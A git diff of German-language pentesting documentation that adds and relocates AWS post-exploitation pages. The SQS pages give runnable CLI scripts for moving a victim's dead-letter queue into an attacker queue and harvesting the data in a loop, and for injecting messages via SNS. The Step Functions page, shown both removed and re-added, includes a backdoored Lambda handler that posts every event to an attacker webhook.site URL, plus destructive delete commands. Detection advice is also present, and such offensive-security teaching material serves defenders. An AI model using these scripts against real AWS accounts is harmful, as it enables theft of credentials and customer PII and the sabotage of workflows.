@@ -0,0 +1,154 @@
+# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Beschreibung
+
+Missbrauche SQS message move tasks, um alle angesammelten Nachrichten aus der Dead-Letter Queue (DLQ) eines Opfers zu stehlen, indem du sie mit `sqs:StartMessageMoveTask` auf eine vom Angreifer kontrollierte Queue umleitest. Diese Technik nutzt die legitime Wiederherstellungsfunktion von AWS für Nachrichten aus, um über die Zeit angesammelte sensible Daten in DLQs zu exfiltrieren.
+
+## Was ist eine Dead-Letter Queue (DLQ)?
+
+Eine Dead-Letter Queue ist eine spezielle SQS-Queue, in die Nachrichten automatisch verschoben werden, wenn sie vom Hauptanwendungsprozess nicht erfolgreich verarbeitet werden können. Diese fehlgeschlagenen Nachrichten enthalten oft:
+- Sensible Anwendungsdaten, die nicht verarbeitet werden konnten
+- Fehlermeldungen und Debug-Informationen
+- Persönlich identifizierbare Informationen (PII)
+- API-Tokens, Zugangsdaten oder andere Geheimnisse
+- Geschäftskritische Transaktionsdaten
+
+DLQs fungieren als "Friedhof" für fehlgeschlagene Nachrichten und sind daher wertvolle Ziele, da sie über die Zeit sensible Daten ansammeln, die Anwendungen nicht korrekt verarbeiten konnten.
+
+## Angriffszenario
+
+**Praxisbeispiel:**
+1. **E-Commerce-Anwendung** verarbeitet Kundenbestellungen über SQS
+2. **Einige Bestellungen schlagen fehl** (Zahlungsprobleme, Lagerbestand, etc.) und werden in eine DLQ verschoben
+3. **Die DLQ sammelt** Wochen/Monate an fehlgeschlagenen Bestellungen mit Kundendaten an: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
+4. **Angreifer erlangt Zugriff** auf AWS-Zugangsdaten mit SQS-Rechten
+5. **Angreifer entdeckt**, dass die DLQ Tausende fehlgeschlagener Bestellungen mit sensiblen Daten enthält
+6. **Anstatt zu versuchen, einzelne Nachrichten zu lesen** (langsam und auffällig), nutzt der Angreifer `StartMessageMoveTask`, um ALLE Nachrichten in seine eigene Queue zu übertragen
+7. **Angreifer extrahiert** alle historischen sensiblen Daten in einem Vorgang
+
+## Voraussetzungen
+- Die Quell-Queue muss als DLQ konfiguriert sein (von mindestens einer Queue in einer RedrivePolicy referenziert).
+- IAM-Berechtigungen (ausgeführt als kompromittierter Opfer-Principal):
+  - Auf der DLQ (Quelle): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
+  - Auf der Ziel-Queue: Berechtigung, Nachrichten zuzustellen (z. B. eine Queue-Policy, die `sqs:SendMessage` vom Opfer-Principal erlaubt). Bei Zielen im selben Account ist dies typischerweise standardmäßig erlaubt.
+- Wenn SSE-KMS aktiviert ist: auf dem Quell-CMK `kms:Decrypt` und auf dem Ziel-CMK `kms:GenerateDataKey`, `kms:Encrypt`.
+
+## Auswirkungen
+**Mögliche Auswirkungen**: Exfiltration sensibler Payloads, die sich in DLQs angesammelt haben (fehlgeschlagene Events, PII, Tokens, Anwendungs-Payloads) in hoher Geschwindigkeit mithilfe nativer SQS-APIs. Funktioniert auch kontoübergreifend, sofern die Ziel-Queue-Policy `SendMessage` vom Opfer-Principal erlaubt.
+
+## So wird es missbraucht
+
+- Identifiziere die ARN der DLQ des Opfers und stelle sicher, dass sie tatsächlich als DLQ von irgendeiner Queue referenziert wird (jede Queue ist ausreichend).
+- Erstelle oder wähle eine vom Angreifer kontrollierte Ziel-Queue und erhalte ihre ARN.
+- Starte eine message move task von der DLQ des Opfers zu deiner Ziel-Queue.
+- Überwache den Fortschritt oder breche ab, falls nötig.
+
+### CLI-Beispiel: Exfiltrieren von Kundendaten aus einer E-Commerce-DLQ
+
+**Szenario**: Ein Angreifer hat AWS-Zugangsdaten kompromittiert und entdeckt, dass eine E-Commerce-Anwendung SQS mit einer DLQ verwendet, die fehlgeschlagene Versuche der Auftragsverarbeitung enthält.
+
+1) **Die DLQ des Opfers entdecken und untersuchen**
+```bash
+# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
+aws sqs list-queues --queue-name-prefix dlq
+
+# Let's say we found: https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq
+VICTIM_DLQ_URL="https://sqs.us-east-1.amazonaws.com/123456789012/ecommerce-orders-dlq"
+SRC_ARN=$(aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# Check how many messages are in the DLQ (potential treasure trove!)
+aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
+--attribute-names ApproximateNumberOfMessages
+# Output might show: "ApproximateNumberOfMessages": "1847"
+```
+2) **Erstelle attacker-controlled destination queue**
+```bash
+# Create our exfiltration queue
+ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
+ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+echo "Created exfiltration queue: $ATTACKER_Q_ARN"
+```
+3) **Führe den Massendiebstahl von Nachrichten aus**
+```bash
+# Start moving ALL messages from victim DLQ to our queue
+# This operation will transfer thousands of failed orders containing customer data
+echo "Starting bulk exfiltration of $SRC_ARN to $ATTACKER_Q_ARN"
+TASK_RESPONSE=$(aws sqs start-message-move-task \
+--source-arn "$SRC_ARN" \
+--destination-arn "$ATTACKER_Q_ARN" \
+--max-number-of-messages-per-second 100)
+
+echo "Move task started: $TASK_RESPONSE"
+
+# Monitor the theft progress
+aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
+```
+4) **Sammle die gestohlenen sensiblen Daten**
+```bash
+# Receive the exfiltrated customer data
+echo "Receiving stolen customer data..."
+aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--attribute-names All --message-attribute-names All \
+--max-number-of-messages 10 --wait-time-seconds 5
+
+# Example of what an attacker might see:
+# {
+#   "Body": "{\"customerId\":\"cust_12345\",\"email\":\"john@example.com\",\"creditCard\":\"4111-1111-1111-1111\",\"orderTotal\":\"$299.99\",\"failureReason\":\"Payment declined\"}",
+#   "MessageId": "12345-abcd-6789-efgh"
+# }
+
+# Continue receiving all messages in batches
+while true; do
+MESSAGES=$(aws sqs receive-message --queue-url "$ATTACKER_Q_URL" \
+--max-number-of-messages 10 --wait-time-seconds 2 --output json)
+
+if [ "$(echo "$MESSAGES" | jq '.Messages | length')" -eq 0 ]; then
+echo "No more messages - exfiltration complete!"
+break
+fi
+
+echo "Received batch of stolen data..."
+# Process/save the stolen customer data
+echo "$MESSAGES" >> stolen_customer_data.json
+done
+```
+### Cross-Account Hinweise
+- Die Ziel-Queue muss eine Resource Policy enthalten, die dem victim principal `sqs:SendMessage` erlaubt (und, falls verwendet, KMS Grants/Berechtigungen).
+
+## Warum dieser Angriff effektiv ist
+
+1. **Legitime AWS-Funktion**: Nutzt eingebaute AWS-Funktionalität, wodurch es schwierig ist, das Verhalten als bösartig zu erkennen
+2. **Massenoperation**: Überträgt schnell tausende Nachrichten statt langsamer Einzelzugriffe
+3. **Historische Daten**: DLQs speichern über Wochen/Monate sensible Daten
+4. **Unauffällig**: Viele Organisationen überwachen DLQ-Zugriffe nicht genau
+5. **Cross-Account-fähig**: Kann an das eigene AWS-Konto des Angreifers exfiltrieren, wenn Berechtigungen es zulassen
+
+## Erkennung und Prävention
+
+### Erkennung
+Überwache CloudTrail auf verdächtige `StartMessageMoveTask` API-Aufrufe:
+```json
+{
+"eventName": "StartMessageMoveTask",
+"sourceIPAddress": "suspicious-ip",
+"userIdentity": {
+"type": "IAMUser",
+"userName": "compromised-user"
+},
+"requestParameters": {
+"sourceArn": "arn:aws:sqs:us-east-1:123456789012:sensitive-dlq",
+"destinationArn": "arn:aws:sqs:us-east-1:attacker-account:exfil-queue"
+}
+}
+```
+### Prävention
+1. **Prinzip der geringsten Privilegien**: Beschränke die Berechtigung `sqs:StartMessageMoveTask` auf nur die notwendigen Rollen
+2. **DLQs überwachen**: Richte CloudWatch-Alarme für ungewöhnliche DLQ-Aktivität ein
+3. **Kontoübergreifende Richtlinien**: Überprüfe sorgfältig SQS-Queue-Richtlinien, die kontoübergreifenden Zugriff erlauben
+4. **DLQs verschlüsseln**: Verwende SSE-KMS mit eingeschränkten Schlüsselrichtlinien
+5. **Regelmäßige Bereinigung**: Lasse sensible Daten nicht dauerhaft in DLQs ansammeln
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md

@@ -0,0 +1,54 @@
+# AWS – SQS Cross-/Same-Account Injection via SNS Subscription + Queue Policy
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Beschreibung
+
+Missbrauche eine Resource Policy einer SQS-Queue, um einem vom Angreifer kontrollierten SNS-Topic zu erlauben, Nachrichten in eine Ziel-SQS-Queue des Opfers zu publishen. Im selben Account bestätigt sich eine SQS-Subscription auf ein SNS-Topic automatisch; bei Cross-Account musst du das SubscriptionConfirmation-Token aus der Queue lesen und ConfirmSubscription aufrufen. Dadurch wird unaufgeforderte Message-Injektion möglich, der nachgelagerte Consumer möglicherweise implizit vertrauen.
+
+### Anforderungen
+- Fähigkeit, die Resource Policy der Ziel-SQS-Queue zu modifizieren: `sqs:SetQueueAttributes` auf der Opfer-Queue.
+- Fähigkeit, ein SNS-Topic unter Angreifer-Kontrolle zu erstellen/zu veröffentlichen: `sns:CreateTopic`, `sns:Publish`, und `sns:Subscribe` im Angreifer-Account/Topic.
+- Nur Cross-Account: temporäres `sqs:ReceiveMessage` auf der Opfer-Queue, um das Bestätigungs-Token zu lesen und `sns:ConfirmSubscription` aufzurufen.
+
+### Ausnutzung im selben Account
+```bash
+REGION=us-east-1
+# 1) Create victim queue and capture URL/ARN
+Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
+Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
+
+# 2) Create attacker SNS topic
+TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
+
+# 3) Allow that SNS topic to publish to the queue (queue resource policy)
+cat > /tmp/ht-sqs-sns-policy.json <<JSON
+{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
+JSON
+sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
+# Provide the attribute as a JSON map so quoting works reliably
+cat > /tmp/ht-attrs.json <<JSON
+{
+"Policy": "REPLACE_POLICY_JSON"
+}
+JSON
+# Embed the policy file contents as a JSON string
+POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
+sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
+aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
+
+# 4) Subscribe the queue to the topic (auto-confirms same-account)
+aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
+
+# 5) Publish and verify injection
+aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
+aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
+```
+### Cross-Account-Hinweise
+- Die obenstehende Queue-Policy muss das fremde `TOPIC_ARN` (attacker account) zulassen.
+- Subscriptions bestätigen sich nicht automatisch. Gewähre dir vorübergehend `sqs:ReceiveMessage` auf der victim queue, um die `SubscriptionConfirmation`-Nachricht zu lesen, und rufe dann `sns confirm-subscription` mit ihrem `Token` auf.
+
+### Auswirkungen
+**Potenzielle Auswirkungen**: Kontinuierliche unaufgeforderte Nachrichteninjektion in eine vertrauenswürdige SQS queue über SNS, die möglicherweise unbeabsichtigte Verarbeitung, Datenverschmutzung oder Missbrauch von Workflows auslöst.
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation/README.md

@@ -1,13 +1,13 @@
 # AWS - SSO & identitystore Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## SSO & identitystore
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment`
@@ -20,4 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn <SSOInst
 
 aws sso-admin delete-account-assignment --instance-arn <SSOInstanceARN> --target-id <TargetID> --target-type <TargetType> --permission-set-arn <PermissionSetARN> --principal-type <PrincipalType> --principal-id <PrincipalID>
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md

@@ -1,185 +0,0 @@
-# AWS - Step Functions Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Step Functions
-
-Für weitere Informationen zu diesem AWS-Dienst, siehe:
-
-{{#ref}}
-../aws-services/aws-stepfunctions-enum.md
-{{#endref}}
-
-### `states:RevealSecrets`
-
-Diese Berechtigung ermöglicht es, **geheime Daten innerhalb einer Ausführung offenzulegen**. Dazu muss das Inspektionsniveau auf TRACE und der Parameter revealSecrets auf true gesetzt werden.
-
-<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
-
-### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
-
-Ein Angreifer mit diesen Berechtigungen könnte in der Lage sein, Zustandsmaschinen, deren Versionen und Aliase dauerhaft zu löschen. Dies kann kritische Arbeitsabläufe stören, zu Datenverlust führen und erhebliche Zeit für die Wiederherstellung und Wiederherstellung der betroffenen Zustandsmaschinen erfordern. Darüber hinaus würde es einem Angreifer ermöglichen, die verwendeten Spuren zu verwischen, forensische Untersuchungen zu stören und möglicherweise den Betrieb zu lähmen, indem wesentliche Automatisierungsprozesse und Zustandskonfigurationen entfernt werden.
-
-> [!NOTE]
->
-> - Wenn Sie eine Zustandsmaschine löschen, löschen Sie auch alle zugehörigen Versionen und Aliase.
-> - Wenn Sie einen Alias einer Zustandsmaschine löschen, löschen Sie nicht die Versionen der Zustandsmaschine, die auf diesen Alias verweisen.
-> - Es ist nicht möglich, eine Version einer Zustandsmaschine zu löschen, die derzeit von einem oder mehreren Aliasen referenziert wird.
-```bash
-# Delete state machine
-aws stepfunctions delete-state-machine --state-machine-arn <value>
-# Delete state machine version
-aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
-# Delete state machine alias
-aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
-```
-- **Potenzielle Auswirkungen**: Störung kritischer Arbeitsabläufe, Datenverlust und Betriebsunterbrechungen.
-
-### `states:UpdateMapRun`
-
-Ein Angreifer mit dieser Berechtigung könnte die Konfiguration für das Scheitern von Map Runs und die parallele Einstellung manipulieren, indem er die maximale Anzahl der zulässigen Ausführungen von untergeordneten Arbeitsabläufen erhöhen oder verringern kann, was sich direkt auf die Leistung des Dienstes auswirkt. Darüber hinaus könnte ein Angreifer den tolerierten Prozentsatz und die Anzahl der Fehler manipulieren und diesen Wert auf 0 verringern, sodass jedes Mal, wenn ein Element fehlschlägt, der gesamte Map Run fehlschlägt, was sich direkt auf die Ausführung der Zustandsmaschine auswirkt und potenziell kritische Arbeitsabläufe stört.
-```bash
-aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
-```
-- **Potenzielle Auswirkungen**: Leistungsabfall und Störung kritischer Arbeitsabläufe.
-
-### `states:StopExecution`
-
-Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung einer beliebigen Zustandsmaschine zu stoppen, was laufende Arbeitsabläufe und Prozesse stören würde. Dies könnte zu unvollständigen Transaktionen, gestoppten Geschäftsabläufen und potenzieller Datenkorruption führen.
-
-> [!WARNING]
-> Diese Aktion wird von **express state machines** nicht unterstützt.
-```bash
-aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
-```
-- **Potenzielle Auswirkungen**: Störung laufender Arbeitsabläufe, betriebliche Ausfallzeiten und potenzielle Datenkorruption.
-
-### `states:TagResource`, `states:UntagResource`
-
-Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen, wodurch die Kostenallokation, die Ressourcenverfolgung und die Zugriffskontrollrichtlinien Ihrer Organisation, die auf Tags basieren, gestört werden.
-```bash
-aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
-aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
-```
-**Potenzielle Auswirkungen**: Störung der Kostenallokation, Ressourcenverfolgung und tagbasierter Zugriffskontrollrichtlinien.
-
----
-
-### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
-
-Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Sid": "AllowUpdateStateMachine",
-"Effect": "Allow",
-"Action": "states:UpdateStateMachine",
-"Resource": "*"
-},
-{
-"Sid": "AllowUpdateFunctionCode",
-"Effect": "Allow",
-"Action": "lambda:UpdateFunctionCode",
-"Resource": "*"
-}
-]
-}
-```
-...kann einen **hochwirksamen und stealthy Post-Exploitation-Angriff** durchführen, indem er Lambda-Backdooring mit der Manipulation der Step Function-Logik kombiniert.
-
-Dieses Szenario geht davon aus, dass das Opfer **AWS Step Functions verwendet, um Workflows zu orchestrieren, die sensible Eingaben verarbeiten**, wie z.B. Anmeldeinformationen, Tokens oder PII.
-
-Beispiel für einen Opferaufruf:
-```bash
-aws stepfunctions start-execution \
---state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
-```
-Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie `LegitBusinessLogic` aufruft, kann der Angreifer mit **zwei heimlichen Angriffsvarianten** fortfahren:
-
----
-
-####  Aktualisierte die Lambda-Funktion
-
-Der Angreifer ändert den Code der bereits von der Step Function verwendeten Lambda-Funktion (`LegitBusinessLogic`), um Eingabedaten heimlich zu exfiltrieren.
-```python
-# send_to_attacker.py
-import requests
-
-def lambda_handler(event, context):
-requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
-return {"status": "exfiltrated"}
-```
-
-```bash
-zip function.zip send_to_attacker.py
-
-aws lambda update-function-code \
---function-name LegitBusinessLogic \
---zip-file fileb://function.zip -profile attacker
-```
----
-
-#### Fügen Sie einen bösartigen Zustand zur Step Function hinzu
-
-Alternativ kann der Angreifer einen **exfiltration state** zu Beginn des Workflows injizieren, indem er die Definition der Step Function aktualisiert.
-```malicious_state_definition.json
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "OriginalState",
-"States": {
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-
-```
-
-```bash
-aws stepfunctions update-state-machine \
---state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
---definition file://malicious_state_definition.json --profile attacker
-```
-Der Angreifer kann noch stealthier die Zustandsdefinition auf etwas wie das hier aktualisieren:
-{
-"Comment": "Backdoored for Exfiltration",
-"StartAt": "ExfiltrateSecrets",
-"States": {
-"ExfiltrateSecrets": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
-"InputPath": "$",
-"ResultPath": "$.exfil",
-"Next": "OriginalState"
-},
-"OriginalState": {
-"Type": "Task",
-"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
-"End": true
-}
-}
-}
-wo das Opfer den Unterschied nicht bemerkt
-
----
-
-### Opfer Setup (Kontext für den Exploit)
-
-- Eine Step Function (`LegitStateMachine`) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
-- Sie ruft eine oder mehrere Lambda-Funktionen wie `LegitBusinessLogic` auf.
-
----
-
-**Potenzielle Auswirkungen**:
-- Stille Exfiltration sensibler Daten, einschließlich Geheimnisse, Anmeldeinformationen, API-Schlüssel und PII.
-- Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
-- Schwer zu erkennen, ohne den Lambda-Code oder Ausführungsprotokolle zu überprüfen.
-- Ermöglicht langfristige Persistenz, wenn die Hintertür im Code oder in der ASL-Logik bleibt.
-
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md

@@ -0,0 +1,185 @@
+# AWS - Step Functions Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Step Functions
+
+Für weitere Informationen zu diesem AWS-Service siehe:
+
+{{#ref}}
+../../aws-services/aws-stepfunctions-enum.md
+{{#endref}}
+
+### `states:RevealSecrets`
+
+Diese Berechtigung ermöglicht das **Offenlegen geheimer Daten innerhalb einer Ausführung**. Dafür muss die Inspektionsstufe auf TRACE gesetzt und der revealSecrets-Parameter auf true gesetzt werden.
+
+<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
+
+### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
+
+Ein Angreifer mit diesen Berechtigungen könnte state machines, deren versions und aliases dauerhaft löschen. Dies kann kritische Workflows unterbrechen, zu Datenverlust führen und erheblichen Aufwand erfordern, um die betroffenen state machines wiederherzustellen. Zusätzlich würde es einem Angreifer ermöglichen, verwendete Spuren zu verwischen, forensische Untersuchungen zu stören und durch Entfernen wichtiger Automatisierungsprozesse und State-Konfigurationen den Betrieb erheblich zu beeinträchtigen.
+
+> [!NOTE]
+>
+> - Beim Löschen einer state machine löschen Sie außerdem alle damit verbundenen versions und aliases.
+> - Beim Löschen eines state machine alias löschen Sie nicht die state machine versions, die auf diesen alias verweisen.
+> - Es ist nicht möglich, eine state machine version zu löschen, die derzeit von einem oder mehreren aliases referenziert wird.
+```bash
+# Delete state machine
+aws stepfunctions delete-state-machine --state-machine-arn <value>
+# Delete state machine version
+aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
+# Delete state machine alias
+aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
+```
+- **Potential Impact**: Unterbrechung kritischer Workflows, Datenverlust und Betriebsstillstand.
+
+### `states:UpdateMapRun`
+
+Ein Angreifer mit dieser Berechtigung könnte die Map Run-Fehlerkonfiguration und die Parallel-Einstellung manipulieren und dadurch die maximal zulässige Anzahl von Child-Workflow-Ausführungen erhöhen oder verringern, was die Leistung des Dienstes direkt beeinträchtigt. Außerdem könnte ein Angreifer den tolerierten Fehlerprozentsatz und die Fehleranzahl verändern und diesen Wert auf 0 setzen, sodass bei jedem Fehler eines Elements der gesamte Map Run fehlschlägt — dies beeinflusst direkt die Ausführung der State Machine und kann kritische Workflows stören.
+```bash
+aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
+```
+- **Potentielle Auswirkungen**: Leistungsbeeinträchtigung und Unterbrechung kritischer Workflows.
+
+### `states:StopExecution`
+
+Ein Angreifer mit dieser Berechtigung könnte in der Lage sein, die Ausführung jeder State Machine zu stoppen und damit laufende Workflows und Prozesse zu unterbrechen. Dies kann zu unvollständigen Transaktionen, angehaltenen Geschäftsabläufen und möglicher Datenkorruption führen.
+
+> [!WARNING]
+> Diese Aktion wird von **express state machines** nicht unterstützt.
+```bash
+aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
+```
+- **Potentielle Auswirkungen**: Unterbrechung laufender Workflows, betriebliche Ausfallzeiten und mögliche Datenkorruption.
+
+### `states:TagResource`, `states:UntagResource`
+
+Ein Angreifer könnte Tags von Step Functions-Ressourcen hinzufügen, ändern oder entfernen und dadurch die Kostenaufteilung, die Ressourcenverfolgung und auf Tags basierende Zugriffssteuerungsrichtlinien Ihrer Organisation stören.
+```bash
+aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
+aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
+```
+**Potenzielle Auswirkungen**: Störung der Kostenallokation, der Ressourcenverfolgung und von auf Tags basierenden Zugriffskontrollrichtlinien.
+
+---
+
+### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
+
+Ein Angreifer, der einen Benutzer oder eine Rolle mit den folgenden Berechtigungen kompromittiert:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowUpdateStateMachine",
+"Effect": "Allow",
+"Action": "states:UpdateStateMachine",
+"Resource": "*"
+},
+{
+"Sid": "AllowUpdateFunctionCode",
+"Effect": "Allow",
+"Action": "lambda:UpdateFunctionCode",
+"Resource": "*"
+}
+]
+}
+```
+...kann einen **high-impact and stealthy post-exploitation attack** durchführen, indem man Lambda backdooring mit Step Function logic manipulation kombiniert.
+
+Dieses Szenario geht davon aus, dass das Opfer **AWS Step Functions zur Orchestrierung von Workflows verwendet, die sensible Eingaben verarbeiten**, wie z. B. credentials, tokens oder PII.
+
+Beispiel: Aufruf des Opfers:
+```bash
+aws stepfunctions start-execution \
+--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
+--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
+```
+Wenn die Step Function so konfiguriert ist, dass sie eine Lambda wie `LegitBusinessLogic` aufruft, kann der Angreifer mit **zwei heimlichen Angriffsvarianten** fortfahren:
+
+---
+
+####  Aktualisierte Lambda-Funktion
+
+Der Angreifer modifiziert den Code der bereits von der Step Function verwendeten Lambda-Funktion (`LegitBusinessLogic`), um Eingabedaten stillschweigend zu exfiltrieren.
+```python
+# send_to_attacker.py
+import requests
+
+def lambda_handler(event, context):
+requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
+return {"status": "exfiltrated"}
+```
+
+```bash
+zip function.zip send_to_attacker.py
+
+aws lambda update-function-code \
+--function-name LegitBusinessLogic \
+--zip-file fileb://function.zip -profile attacker
+```
+---
+
+#### Einen bösartigen State zur Step Function hinzufügen
+
+Alternativ kann der Angreifer einen **exfiltration state** am Anfang des Workflows einfügen, indem er die Step Function-Definition aktualisiert.
+```malicious_state_definition.json
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "OriginalState",
+"States": {
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+
+```
+
+```bash
+aws stepfunctions update-state-machine \
+--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
+--definition file://malicious_state_definition.json --profile attacker
+```
+Der Angreifer kann noch heimlicher vorgehen und die State-Definition wie folgt ändern
+{
+"Comment": "Backdoored for Exfiltration",
+"StartAt": "ExfiltrateSecrets",
+"States": {
+"ExfiltrateSecrets": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
+"InputPath": "$",
+"ResultPath": "$.exfil",
+"Next": "OriginalState"
+},
+"OriginalState": {
+"Type": "Task",
+"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
+"End": true
+}
+}
+}
+wobei das Opfer keinen Unterschied bemerkt.
+
+---
+
+### Opfer-Setup (Kontext für Exploit)
+
+- Eine Step Function (`LegitStateMachine`) wird verwendet, um sensible Benutzereingaben zu verarbeiten.
+- Sie ruft eine oder mehrere Lambda-Funktionen wie `LegitBusinessLogic` auf.
+
+---
+
+**Mögliche Auswirkungen**:
+- Stilles Exfiltrieren sensibler Daten, einschließlich secrets, credentials, API keys und PII.
+- Keine sichtbaren Fehler oder Ausfälle bei der Ausführung des Workflows.
+- Schwer zu erkennen, ohne den Lambda-Code oder Ausführungs-Traces zu prüfen.
+- Ermöglicht langfristige Persistenz, wenn die backdoor im Code oder in der ASL-Logik verbleibt.
+
+
+{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md

@@ -1,22 +1,23 @@
 # AWS - STS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## STS
 
 Für weitere Informationen:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
-### From IAM Creds to Console
+### Von IAM Creds zur Console
 
-Wenn Sie einige IAM-Anmeldedaten erlangt haben, möchten Sie möglicherweise die Webkonsole mit den folgenden Tools aufrufen. Hinweis: Der Benutzer/die Rolle muss die Berechtigung **`sts:GetFederationToken`** besitzen.
+Wenn Sie IAM credentials erlangen konnten, könnten Sie daran interessiert sein, die **web console** mit den folgenden Tools zu verwenden.\
